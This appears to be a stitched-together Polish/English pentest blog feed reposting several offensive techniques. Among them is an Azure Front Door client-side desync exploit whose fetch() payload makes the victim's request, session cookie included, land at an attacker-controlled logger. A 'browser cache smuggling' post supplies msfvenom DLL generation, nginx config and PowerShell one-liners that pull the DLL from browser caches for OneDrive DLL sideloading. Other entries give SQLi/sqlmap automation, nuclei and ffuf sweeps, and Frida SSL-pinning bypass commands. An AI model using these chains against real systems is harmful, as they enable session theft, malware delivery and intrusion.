Detection & Mitigation

It is necessary to differ here. Password spraying can be detected by logging the amount of failed attempts. As the lockout policy will likely not trigger, it is important to monitor a bigger timeframe, like five failed attempts for one account within 24h. Tools like Microsofts Defender Identity can support here.

There is no protection against Teams email enumeration, besides to stop using Teams. However, a company email address should not be considered as secret, as there are several ways to gather and verify them.

To protect against tishing (phishing via Teams), the easiest solution is to block external communication and to use the allowlist feature provided by Microsoft.

These settings can be made in the Teams administration, similiarly for S4B.

Deweloper-AAD Teams settings for external communication

And as usual, if there is no technical countermeassure, users should be trained to be aware of the risk. However, as we know, there will always be this one click, or this one password entered.

Conclusion

Microsoft’s S4B and Teams deliver an attacker a good attack surface. At a minimum, it is possible to enumerate email addresses and therefore validate users collected from OSINT. If there is a selfhosted S4B, it permits password spraying against the ActiveDirectory and will leak the FQDN of the server. If external tenant communication is allowed, an attacker could perform tishing, which is very effective, as most employees see Teams as an internal messenger and therefore trust it. The fact that, for example, the username or links can be spoofed increases the chances of an attacker to deliver an successfull attack.

To dziwne, że funkcje bezpieczeństwa, które były wdrażane w urządzeniach pocztowych przez dziesięciolecia, są po prostu ignorowane w komunikatorach. Co więcej, decyzja Microsoftu o domyślnym włączeniu komunikacji zewnętrznej jest wysoce wątpliwa z punktu widzenia bezpieczeństwa.

Spinki do mankietów

Prace i inspiracje innych:


Atak desynchronizujący po stronie klienta [CSD]

$
0
0
Pukanie do drzwi wejściowych (atak desynchronizujący po stronie klienta na Azure CDN)Kilka miesięcy temu rozpocząłem polowanie na błędy bezpieczeństwa w ramach prywatnego programu dostępnego za pośrednictwem platformy Intigriti. Podczas tego przedsięwzięcia napotkałem intrygującą anomalię podczas analizy przekierowania ruchu HTTP na HTTPS na określonym hoście.


W tym artykule zagłębię się w krótką podróż, która rozpoczęła się po wykryciu tego dziwnego zachowania i ostatecznie doprowadziła do wykrycia luki w zabezpieczeniach desynchronizacji po stronie klienta w jednym z rozwiązań CDN Microsoft Azure, znanym jako Front Door.

Odkrycie 

Wszystko zaczęło się, gdy wysłałem następującą prośbę do http://redacted.com :

POST/HTTP/1.1Host: redacted.com
[...]Content-Length: 34GET/HTTP/1.1Host: redacted.com

Skąd taka dziwna prośba? Po prostu bawiłem się w Burp po przeczytaniu fantastycznych badań Jamesa @Albinowaxa Kettle'a na temat ataków desynchronizujących za pomocą przeglądarki .

A serwer odpowiedział:

HTTP/1.1307Temporary RedirectContent-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHEHTTP/1.1307Temporary RedirectContent-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE

Na pierwszy rzut oka wydaje się, że nie ma w tym nic niezwykłego. Serwer otrzymał dwa żądania w tym samym połączeniu (podtrzymującym aktywność) i dwukrotnie odpowiedział przekierowaniem 307 z adresu http://na https://.

Ale… Czekaj… W rzeczywistości właśnie wysłałem jedno żądanie POST z treścią! Rozmiar ciała został określony przez Content-Lengthnagłówek.

Otrzymałem jednak dwie odpowiedzi. Oznacza to, że serwer szczęśliwie zignorował nagłówek Content-Lengthi zinterpretował moje żądanie jako dwa oddzielne żądania.

Wygląda to na idealnego kandydata do ataku Client-Side Desync opisanego we wspomnianych badaniach.

Cytuję @Albinowax:

Klasyczne ataki polegające na desynchronizacji lub przemycie żądań polegają na celowo zniekształconych żądaniach, których zwykłe przeglądarki po prostu nie wysyłają. Ogranicza to te ataki do stron internetowych, które wykorzystują architekturę front-end/back-end. Jednak, jak dowiedzieliśmy się z analizy ataków CL.0, możliwe jest spowodowanie desynchronizacji przy użyciu w pełni zgodnych z przeglądarką żądań HTTP/1.1. Nie tylko otwiera to nowe możliwości przemytu żądań po stronie serwera, ale także umożliwia zupełnie nową klasę zagrożeń – ataki desynchronizujące po stronie klienta.

Desynchronizacja po stronie klienta (CSD) to atak, który powoduje, że przeglądarka internetowa ofiary desynchronizuje własne połączenie z podatną na ataki witryną internetową. Można to porównać do zwykłych ataków przemycania żądań, które desynchronizują połączenie między serwerem front-end i back-end.

Po przeprowadzeniu bardziej dogłębnej analizy odkryłem, że ten problem nie jest specyficzny dla rozwiązania klienta, ale raczej ogólny błąd w usłudze używanej przez klienta o nazwie Azure Front Door .

Drzwi wejściowe 

Usługa Azure Front Door to globalna, skalowalna sieć dostarczania treści (CDN) i inteligentna platforma dostarczania aplikacji, która zapewnia bezpieczne i wydajne kierowanie ruchu internetowego do usług zaplecza.

Przyjrzyjmy się niektórym konfigurowalnym opcjom.

Jedną z jego funkcji (domyślnie włączoną) jest przekierowanie całego ruchu HTTP na HTTPS.Frontdoor przekierowuje HTTP na HTTPS

Technicznie odbywa się to poprzez przekierowanie przeglądarki na https://adres za pomocą kodu stanu 307:Przekierowania Front Door z 307

Serwer obsługuje połączenia utrzymujące aktywność:Front Door obsługuje połączenia utrzymujące aktywność

I przekierowuje również żądania POST:Front Door przekierowuje żądania POST

Ale problem polega na tym, że całkowicie ignoruje Content-Lengthnagłówek:Front Door ignoruje Content-Lengthto, co wygląda na dwa żądania, jest w rzeczywistości jednym żądaniem wysłanym przez przeglądarkę internetową, w którym żółte pole zawiera dane dla żądania POST ( Content-Lengthnagłówek wskazuje na koniec danych).

Ale serwer Front Door ignoruje Content-Lengthnagłówek i traktuje go jako dwa oddzielne żądania.

Inną interesującą cechą Front Door (oczywiście nie jest to błąd) jest to, że wszystkie serwery klientów obsługiwane przez usługę Front Door są dostępne pod jednym adresem IP i są również dostępne w jednym utrzymywanym połączeniu (jest to usługa CDN, prawda?) . Jest to więc całkowicie poprawny zestaw żądań wysyłanych w jednym połączeniu TCP:

Front Door udostępnia połączenia

UWAGA 1: azure-victim.jeti.pw i azure-attacker.jeti.pw to dwa oddzielne serwery WWW dwóch oddzielnych klientów (użyłem niestandardowych domen dla lepszej widoczności).

UWAGA 2: serwer azure-attacker.jeti.pw nie ma włączonych automatycznych przekierowań HTTPS, dlatego nie odpowiada przekierowaniem (może to mieć znaczenie dla różnych technik eksploatacyjnych).

Wykorzystaj 

Atak CSD rozpoczyna się od odwiedzenia przez ofiarę strony internetowej atakującego, po czym jej przeglądarka wysyła dwa żądania między domenami do podatnej witryny. Pierwsze żądanie jest tworzone w celu desynchronizacji połączenia przeglądarki i wywołania szkodliwego żądania/odpowiedzi przez drugie żądanie.

Istnieje wiele sposobów, w jaki osoba atakująca może wykorzystać ten problem z desynchronizacją. Skupię się na dwóch możliwych sposobach.

Kradzież żądań 

Wyobraźmy sobie, że po wizycie ofiary witryna atakującego wysyła żądanie (np. za pomocą Java Script fetch API):

fetch('http://azure-victim.jeti.pw/x',{
method:'POST',
  body:"POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n",
  mode:'no-cors',
  redirect:'follow',
  credentials:'include'})

Niekompletne żądanie za pomocą funkcji fetch()

Usługa Front Door traktuje to jako dwa osobne żądania, z których drugie jest żądaniem POST z dołączoną treścią (długość 200 bajtów).

UWAGA: pamiętaj, że azure-attacker.jeti.pw jest skonfigurowany tak, aby nie przekierowywał automatycznie, więc serwer sprawdza Content-Lengthw tym przypadku.

Ponieważ brakuje treści żądania, serwer będzie czekał na 200 bajtów danych, aby zakończyć żądanie. Wszystko, co musi zrobić atakujący, to przekierować użytkownika ofiary na stronę ofiary:

location ='http://azure-victim.jeti.pw/'

Przeglądarka ofiary wyśle ​​kolejne żądanie GET (w większości przypadków przeglądarka ponownie użyje tego samego połączenia). Oba żądania będą wyglądać następująco:Kompletne żądanie FrontdoorSerwer otrzymał 200 bajtów danych i wysłał żądanie POST do http://azure-attacker.jeti.pw/logger z następującymi danymi :

GET/HTTP/1.1Host: azure-victim.jeti.pw
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0

I skutecznie atakujący ukradł plik cookie sesji ofiary.

„Uniwersalny” XSS poprzez fałszowanie odpowiedzi 

Another way of expoiting a CSD vulnerability is to forge responses to the victim’s requests.

Let’s have a look at following request sent by the browser when victim visits malicious website (sent via fetch API):Reakcja zatrucia za pomocą XSS

Front Door service again treats it as two separate requests and sends both to respective customer websites. And receives 2 separate responses.

But the victim’s browser sent only one request so it expects only one response (307 redirect in our case). Second part stays in the connection pool waiting for another request to match (because of the HTTP pipelining).

When attacker redirects a victim, browser makes another request.

Ale na szczęście dla atakującego przeglądarka ma już odpowiedź oczekującą w puli połączeń (w naszym przykładzie odpowiedź zawiera ładunek XSS, który zostanie uruchomiony w kontekście strony internetowej, na którą została przekierowana ofiara).

Ponieważ atakujący może przekierować ofiarę na dowolną witrynę obsługiwaną przez Front Door i sfałszować odpowiedź, myślę, że można to nazwać „uniwersalnym” XSS :)

https://blog.jeti.pw/posts/knocking-on-the-front-door/

Emulator android MacOS

$
0
0

 W celu uruchomienia emulatora androida z poziomu terminala:


❯ ./emulator -avd Pixel_3a_API_32_arm64-v8a

❯ pwd

/Users/michal/Library/Android/sdk/emulator

MobSF on MacOS

$
0
0

 https://github.com/MobSF/docs/blob/master/dynamic_analyzer.md

❯ ./emulator -avd Pixel_API_28  -writable-system -no-snapshot


Przemyt pamięci podręcznej przeglądarek - dostarczanie c2 red teaming

$
0
0

Wpis o tym w jak sprytny sposób dostarczyć c2 na komputer użytkownika 


Podczas spotkań zespołu Red Team często korzystam z inżynierii społecznej, aby nakłonić jednego z pracowników mojego klienta do uruchomienia mojego złośliwego kodu na swoich komputerach, co umożliwi mi uzyskanie dostępu do jego systemu. Typowe podejście, jakie stosuję, polega na tym, aby do nich zadzwonić, powiedzieć, że jestem z pomocy technicznej IT, a następnie poprosić ich, aby odwiedzili oficjalnie wyglądającą stronę internetową zawierającą kod PowerShell, który muszą uruchomić, aby naprawić niektóre wymyślone problem.

Jednak to podejście jest dobrze znane dostawcom zabezpieczeń i obecnie prawie wszystkie produkty chroniące przed złośliwym oprogramowaniem i EDR będą blokować lub przynajmniej ostrzegać o każdym podejrzanie wyglądającym kodzie PowerShell, zwłaszcza o kodzie, który pobiera ładunek, a następnie go wykonuje. Chciałem znaleźć inny, bardziej ukryty sposób dostarczania ładunku docelowym użytkownikom.

Zatem pierwsze pytanie, jakie sobie zadałem, brzmiało: jakie mechanizmy są używane na co dzień przez system operacyjny, którymi mógłbym manipulować w celu dostarczania złośliwego oprogramowania? I wtedy przyszło mi do głowy: pamięć podręczna przeglądarki!

W tym poście na blogu przedstawię technikę, dzięki której osoba atakująca namawia docelowego pracownika do odwiedzenia witryny internetowej za pomocą inżynierii społecznej. Następnie witryna internetowa dyskretnie umieści ładunek DLL w pamięci podręcznej przeglądarki pod postacią obrazu. W tej samej witrynie internetowej użytkownik został zaprojektowany społecznie, aby uruchomić ładnie wyglądający program PowerShell z jedną linijką, który przenosi ładunek DLL do folderu, gdzie zostanie automatycznie wykonany. Pokażę także kilka innych interesujących rzeczy, które znalazłem na temat Defendera podczas przeprowadzania tych badań.

I/Co to jest pamięć podręczna przeglądarki?

Kiedy poruszasz się po Internecie, Twoja przeglądarka ładuje mnóstwo plików, takich jak obrazy, filmy, CSS, JavaScript i tak dalej. Dwukrotne załadowanie tej samej strony oznacza, że ​​przeglądarka dwukrotnie pobierze te same pliki. Jest to bezużyteczne i zajmuje dużo zasobów procesora oraz przepustowości sieci.

Nowoczesne przeglądarki implementują mechanizm, który pozwala im przechowywać te pliki lokalnie, dzięki czemu nie trzeba ich za każdym razem pobierać. Mechanizm ten nazywany jest pamięcią podręczną przeglądarki.

Jeśli przyjrzymy się, jak działa Firefox w systemie Windows, zobaczymy, że w AppData/Local znajduje się katalog Firefoksa, który przechowuje coś, co wygląda jak pliki z pamięci podręcznej:

Jest tam sporo plików, około 300MB:

Teraz wyczyśćmy ten katalog i przejdźmy do witryny https://orangecyberdefense.com . Podczas nawigacji zobaczysz, że nowe pliki są dodawane:

Wygląda na to, że znaleźliśmy mechanizm, który automatycznie pobiera pliki!

Jednak przeglądarki nie będą buforować dowolnego pliku dostarczonego przez serwer. Będzie buforować zasoby statyczne – pliki, których zawartość nie będzie się często zmieniać. W związku z tym nasze przeglądarki będą głównie buforować obrazy, filmy, a czasami JS/CSS. Byłoby wspaniale, gdybyśmy mogli w jakiś sposób oszukać przeglądarkę, aby buforowała pliki zawierające ładunek binarny, taki jak plik DLL lub EXE. Jak to zrobimy?

II/ Manipulowanie mechanizmami pamięci podręcznej przeglądarek

Aby wykryć, które pliki zapisać w pamięci podręcznej, przeglądarki będą głównie polegać na nagłówku Content-Type wysyłanym przez serwer WWW. Przykładowo na poniższym zrzucie ekranu widać, że plik „avatar.jpg” został wysłany przez serwer, a jego typ zawartości to „image/jpeg”:

W systemie Linux serwery WWW zazwyczaj używają pliku /etc/mime.types, aby wiedzieć, jaki typ zawartości powinien zwrócić dla określonego pliku. Zawartość pliku /etc/mime.types zazwyczaj wygląda następująco:

Ten plik zawiera wartości typu zawartości powiązane z rozszerzeniem plików. W związku z tym, gdy serwer WWW (w tym przypadku Nginx) zauważy, że żądany jest plik avatar.jpg, sprawdzi plik mime.types, aby określić, jaki jest typ zawartości rozszerzenia .jpg i sprawdzi, czy jest on obraz/jpeg:

Jako atakujący możemy zastąpić te wartości. Pamiętaj, że naszym celem jest wymuszenie pobrania pliku DLL lub EXE. Aby to zrobić, będziemy musieli po prostu zmienić typ zawartości związany z plikami DLL i EXE z application/x-msdos-program na image/jpeg. Można to po prostu zrobić za pomocą następującego wiersza w konfiguracji Nginx:

types {} default_type image/jpeg;

To unieważnia mapowanie typu MIME w pamięci, a następnie ustawia domyślny typ zawartości na „image/jpg” dla nieznanych typów (tj. wszystkich plików, ponieważ najpierw znukowaliśmy mapowania). Zamknięcie tego w bloku „lokalizacji”, który pasuje tylko do Twojego ładunku, pozwoli osiągnąć pożądany efekt bez przekształcania wszystkiego w „obraz”. Zobacz część III poniżej, aby zapoznać się z pełną konfiguracją w kontekście.

Następnie będziemy musieli wygenerować dwie rzeczy:

  • Biblioteka DLL, w tym przypadku prosta, która uruchomi program calc.exe wygenerowany przez MSFVenom:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
  • Strona HTML, na której biblioteka DLL jest osadzona w znaczniku img:
<html><body><h1>Browser cache smuggling</h1><imgsrc="calc.dll"style="display: none;"></img></body></html>

Następnie opróżniamy pamięć podręczną Firefoksa, ponownie ładujemy stronę HTML i sprawdzamy, czy plik został pobrany:

Biorąc pod uwagę rozmiar plików w pamięci podręcznej, możemy stwierdzić, że plik zaczynający się od 75E… Jest naszą biblioteką Calc DLL. Dla pewności możemy załadować w Firefoksie następującą stronę:

about:cache?storage=disk

To lista wszystkich plików zapisanych w pamięci podręcznej w przeglądarce Firefox. A jeśli przeszukamy ciąg, zobaczymy, że plik calc.dll został zapisany w pamięci podręcznej:

Oznacza to, że biblioteka DLL została skutecznie dostarczona do systemu. A co jeśli powiem Ci, że ta metoda dostawy nie jest oznaczana przez program antywirusowy? Tak! Defender działa na komputerze z systemem Windows, który jest moim celem i nic nie krzyczy. Wiem dlaczego? Ponieważ kiedy biblioteka DLL została pobrana i zapisana w pamięci podręcznej, jej nazwa została zmieniona na losową nazwę pliku bez rozszerzenia:

W związku z tym Defender nie skanuje pliku, a nasza biblioteka DLL może tam pozostać tak długo, jak tego potrzebujemy!

III/ A co z wykonaniem?

Typowym sposobem, aby to zadziałało, jest przeprowadzenie inżynierii społecznej użytkownika i poinformowanie go, że coś jest nie tak z jego systemem i że musi uruchomić polecenie, aby to naprawić. Mówimy im, że polecenie znajduje się na oficjalnie wyglądającej stronie internetowej. Po załadowaniu strony biblioteka DLL zostaje zapisana w pamięci podręcznej systemu. Użytkownik pobiera polecenie ze strony internetowej i uruchamia je, co powoduje wykonanie już zapisanej w pamięci podręcznej biblioteki DLL. Dzięki takiemu podejściu zapewniamy, że biblioteka DLL będzie nadal buforowana, gdy użytkownik uruchomi polecenie.

Kluczową różnicą między tym podejściem a inżynierią społeczną polegającą na uruchomieniu przez użytkownika polecenia C2 stager jest to, że polecenie, które wydajemy użytkownikowi, nie pobiera złośliwego ładunku, ponieważ znajduje się on już w systemie i jest przechowywany w pamięci podręcznej przeglądarki. Pomysł jest taki, aby polecenie wyglądało jak najłagodniej, aby uniknąć podejrzeń lub wykrycia, i pozwoliło przeglądarce Firefox wykonać brudną robotę poprzez buforowanie pliku DLL złośliwego oprogramowania.

Aby to zadziałało, potrzebujemy sposobu na znalezienie naszej biblioteki DLL pomiędzy wszystkimi innymi plikami buforowanymi przez przeglądarkę.

Jeśli przyjrzymy się bliżej rozmiarowi buforowanej biblioteki DLL i rozmiarowi samej biblioteki DLL, zobaczymy, że buforowana biblioteka DLL jest nieco większa:

Powodem jest to, że plik buforowany to nie tylko biblioteka DLL, to plik zawierający zarówno zawartość pliku DLL, jak i metadane. Wśród metadanych znajduje się odpowiedź HTTP serwera Nginx, zawierająca kilka nagłówków HTTP:

W związku z tym wszystko, co musimy zrobić, to utworzyć flagę w odpowiedzi HTTP serwera, która pozwoli nam zidentyfikować naszą bibliotekę DLL. Możemy to osiągnąć modyfikując plik konfiguracyjny Nginx w następujący sposób:

server {
	listen 80 default_server;
	listen [::]:80 default_server;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;# Adding the HTTP header TAG used to find the real DLL
	location /calc.dll {# Override the mime type
		types {} default_type image/jpeg;
		add_header Tag DLLHERE;}}

Jeśli ponownie załadujemy stronę HTML, zobaczymy, że gdy serwer zostanie poproszony o udostępnienie pliku calc.dll, jego odpowiedź zawiera dodatkowy nagłówek HTTP oznaczający naszą bibliotekę DLL:

Używając PowerShell lub wsadowo, możemy wyszukać ten konkretny ciąg, aby znaleźć naszą bibliotekę DLL w lokalnym katalogu pamięci podręcznej:

W tym momencie wiemy, gdzie znajduje się nasza biblioteka DLL, więc spróbujmy ją wykonać.

Robiąc to badanie, zdałem sobie sprawę, że gdy tylko zmieniłem nazwę pliku pamięci podręcznej na „calc.dll”, program antywirusowy oznaczył go jako złośliwy (msfvenom, wiesz…). Próbowałem wielu rzeczy, dopóki nie zdałem sobie sprawy, że rundll32 może uruchomić bibliotekę DLL, która nie ma rozszerzenia .dll:

Wszystko, co musisz zrobić, to dodać kropkę do nazwy pliku w pamięci podręcznej, a rundll32 go wykona. Co dziwniejsze, widzieliśmy wcześniej, że buforowany plik to nie tylko biblioteka DLL, ale także metadane, jednak rundll32 nie przejmuje się tym i wykona bibliotekę DLL.

Nakłonienie użytkownika do wykonania rundll32 może wywołać pewne alarmy, nawet jeśli biblioteka DLL znajduje się już w systemie plików użytkownika. Alternatywnym podejściem może być po prostu przeniesienie istniejącej biblioteki DLL na miejsce, tak aby została wykonana, gdy użytkownik otworzy inną aplikację. Powoduje to znacznie łagodniejsze polecenie, które samo w sobie niczego nie pobiera ani nie wykonuje, a jedynie przenosi istniejący plik. Jednak to podejście wymaga, aby złośliwa biblioteka DLL nie była statycznie wykrywana przez program AV.

Następująca linijka programu PowerShell będzie szukać biblioteki DLL w katalogu pamięci podręcznej i przeniesie ją do odpowiedniego miejsca, takiego jak folder OneDrive, w celu uruchomienia ataku polegającego na ładowaniu strony DLL:

foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}

Przy następnym uruchomieniu OneDrive Twoje złośliwe oprogramowanie też będzie!

IV/ A co z Google Chrome

Sposób, w jaki Google Chrome przechowuje pliki w swojej pamięci podręcznej, jest nieco bardziej skomplikowany w wykorzystaniu. Rzeczywiście, pliki nie są przechowywane pojedynczo, są one przechowywane w wielu bazach danych znajdujących się w folderze %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data:

W związku z tym pobieranie plików z pamięci podręcznej oznacza manipulowanie bazą danych, co nie jest łatwe, szczególnie w przypadku programu PowerShell. W tym momencie pomyślałem, że nie da się użyć tej techniki dla Chrome, dopóki @shifttymike nie przesłał mi tej wiadomości:

I to jest genialne! Oto jak połączyłem wszystko w jedną całość. Najpierw tworzymy bibliotekę DLL za pomocą msfvenom:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll

Następnie przygotowujemy ciąg znaków, który powie nam, gdzie zaczyna się biblioteka DLL:

sed -i "1s/^/INDLL/" calc.dll

I dołącz ciąg, aby powiedzieć nam, gdzie się kończy:

echo -n "OUTDLL">> calc.dll

W tym momencie wiemy, że nasza biblioteka DLL znajduje się pomiędzy znacznikami INDLL i OUTDLL w jednej z baz danych pamięci podręcznej przeglądarki Chrome, wystarczy uruchomić kod PowerShell, który będzie w stanie przeanalizować bazy danych przeglądarki Chrome i wyodrębnić z nich bibliotekę DLL. Można to zrobić za pomocą następującego onelinera PowerShell:

$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}

I faktycznie, nasza biblioteka DLL zostaje znaleziona i wyodrębniona:

Następnie możemy użyć rundll32, aby to wykonać:

Lub przenieś bibliotekę DLL do określonego folderu, jak pokazano wcześniej.

IV/ Zakończenie

O ile wiem, nie widziałem jeszcze opisanej metody dostarczania złośliwego oprogramowania. Dla mnie jest to całkiem fajna sztuczka, ponieważ pozwala operatorowi czerwonego zespołu wymusić pobranie złośliwego oprogramowania poprzez samo wysłanie adresu URL do celu. Nie ma potrzeby nakłaniania celu do pobrania złośliwego pliku (co może być podejrzane). Jedyne, o co musisz zadbać, to nakłonić użytkownika do uruchomienia ładnie wyglądającej aplikacji Power Shell one-liner. Moim zdaniem o wiele bardziej dyskretny ;)!

Ostatnia czerwona wskazówka dla zespołu: jeśli kiedykolwiek znajdziesz komputer lub serwer, na którym zainstalowana jest przeglądarka, możesz zajrzeć do folderu pamięci podręcznej i przeczytać buforowane pliki. Dzięki metadanym będziesz mógł zebrać nazwy hostów DNS, które pozwolą Ci odkryć potencjalne cele w sieci wewnętrznej (hej, vSphere :D)!

Miłego hackowania!


Wpis pochodzi z https://blog.whiteflag.io/blog/browser-cache-smuggling/ 

Penetration test flutter app

$
0
0


https://github.com/ptswarm/reFlutter


 ❯ pip3 install --upgrade --force-reinstall reflutter

Defaulting to user installation because normal site-packages is not writeable

Collecting reflutter

  Downloading reflutter-0.7.8-py3-none-any.whl.metadata (9.0 kB)

Downloading reflutter-0.7.8-py3-none-any.whl (24 kB)

Installing collected packages: reflutter

  Attempting uninstall: reflutter

    Found existing installation: reflutter 0.7.7

    Uninstalling reflutter-0.7.7:

      Successfully uninstalled reflutter-0.7.7

  WARNING: The script reflutter is installed in '/Users/michal/Library/Python/3.10/bin' which is not on PATH.

  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.

Successfully installed reflutter-0.7.8

USAGE:

reflutter your.(apk)|(ipa)

/Users/michal/Library/Python/3.10/bin/reflutter 49406.apk


 Choose an option: 


 1. Traffic monitoring and interception 

 2. Display absolute code offset for functions


 [1/2]? 1


Example: (192.168.1.154) etc.

Please enter your BurpSuite IP: 192.168.51.129


 Wait...



SnapshotHash: ee1eb666c76a5cb7746faf39d0b97547

The resulting apk file: ./release.RE.apk

Please sign,align the apk file


Configure Burp Suite proxy server to listen on *:8083

Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab


Then enable invisible proxying in Request Handling Tab

Support Invisible Proxying -> true


DOWNLOAD:

https://github.com/patrickfav/uber-apk-signer

java -jar uber-apk-signer-1.3.0.jar --apks release.RE.apk

source:

/Users/michal/Downloads

zipalign location: BUILT_IN 

/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/uapksigner-2589864279722257602/mac-zipalign-33_0_216157554363753981716.tmp

keystore:

[0] 161a0018 /private/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/temp_3968706172894682738_debug.keystore (DEBUG_EMBEDDED)


01. release.RE.apk


SIGN

file: /Users/michal/Downloads/release.RE.apk (221.2 MiB)

checksum: e28f1257d549f0cb5cfe774a4ad6ffa379be58f91c74aa6630ad720fcafb253a (sha256)

- zipalign success

- sign success


VERIFY

file: /Users/michal/Downloads/release.RE-aligned-debugSigned.apk (221.34 MiB)

checksum: 6504671cfc17578de09c94f90fdd79cf9fd838de633f3b25c25ba865f5dab1d2 (sha256)

- zipalign verified

- signature verified [v3]

Subject: CN=Android Debug, OU=Android, O=US, L=US, ST=US, C=US

SHA256: 1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953 / SHA256withRSA

Expires: Thu Mar 10 21:10:05 CET 2044


[Thu Mar 14 20:07:37 CET 2024][v1.3.0]

Successfully processed 1 APKs and 0 errors in 5.43 seconds.


adb install release.RE-aligned-debugSigned.apk

Performing Incremental Install

Serving...

Success

Install command complete in 527 ms

~/Downloads ❯ All files should be loaded. Notifying the device.    


SQLi oneliner automation

$
0
0

 subfinder -d testphp.vulnweb.com -all -silent | gau | urldedupe | gf sqli >sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent | tee -a sqli.txt





go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

go install github.com/lc/gau/v2/cmd/gau@latest

git clone https://github.com/ameenmaali/urldedupe.git;cd urldedupe;cmake CMakeLists.txt;make;cp urldedupe /usr/bin/

go install github.com/tomnomnom/gf@latest;cp ~/go/bin/gf /usr/bin/;mkdir ~/.gf;git clone https://github.com/Sherlock297/gf_patterns.git;cd gf_patterns/;cp *.json ~/.gf;gf -list

Run nuclei for all ports

$
0
0
Uruchamianie nuclei na wszystkich portach 

naabu -s -host 192.168.1.0/24 |  while read -r line; do nuclei -u "${line}">> siec_wew ; done

Pliki *.js.map

$
0
0

 W aplikacjach webowych pamiętaj aby sprawdzać czy deweloper nie zapomniał o usunięciu plików .js.map.


Szybki skrypt w PHP i zazwyczaj dobry efekt


<?php
/**
 * Created by PhpStorm.
 * User: edwinsturt
 * Date: 2020-06-24
 * Time: 00:45
 */

$file = 'main.ff0058ad.js.map';

if(file_exists($file)) {
    $json = json_decode(file_get_contents($file));

    $directories = [];

    foreach ($json->sources as $index => $source) {

        $dir = dirname($source);
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        $data = explode('/', $source);
        $file = end($data);
        file_put_contents($dir . "/" . $file, $json->sourcesContent[$index]);
        $files[] = $dir . "/" . $file;

    }
    echo "<pre>All Source codes has been extracted from map file ";
    print_r($files);
}
?>


php skrypt.php i witamy env :)



run ffuf from all domains from file

$
0
0

httpx -list mexico | xargs -I {} sh -c 'clean_url=$(echo {} | sed -e "s|https://|1|g" -e "s|http://|2|g"); ffuf -u {}/FUZZ -w raft-large-words.txt -ac -c -e .txt,.php,.bak,.txt,.rar,.sql,.zip,.php_,.old,.bak,._old,._php  --recursion --recursion-depth 2 >> ffuf-mexico$clean_url' -v

apk speed enviroment for pentest

$
0
0


emulator -avd Pixel_5_API_30 

 adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" 

next


frida-ps -U |grep APK



  frida -U -n APK --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida 

or

  frida -U -n APK --codeshare akabe1/frida-multiple-unpinning


Viewing all 113 articles
Browse latest View live